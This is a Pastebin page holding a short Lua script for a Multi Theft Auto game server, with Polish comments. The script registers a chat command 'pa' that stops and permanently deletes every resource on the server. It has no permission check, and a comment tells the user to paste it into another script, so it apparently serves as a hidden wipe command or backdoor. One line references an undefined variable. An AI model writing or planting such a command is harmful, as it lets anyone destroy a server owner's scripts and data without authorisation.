Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function clrrs(cmd)
- local resourceTable = getResources( )
- for resourceKey, resourceValue in ipairs (resourceTable) do
- local resourceName = getResourceName(resourceValue)
- stopResource(resourceName)
- startResource(xd) -- "xd" nazwa skryptu gdzie wklejasz tÄ… funkcje
- local deleted = deleteResource(resourceName)
- if deleted then
- outputChatBox ("Delete resource", source)
- else
- outputChatBox ("Nie usunieto jakiegos skryptu", source)
- end
- end
- end
- addCommandHandler ("pa", clrrs)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement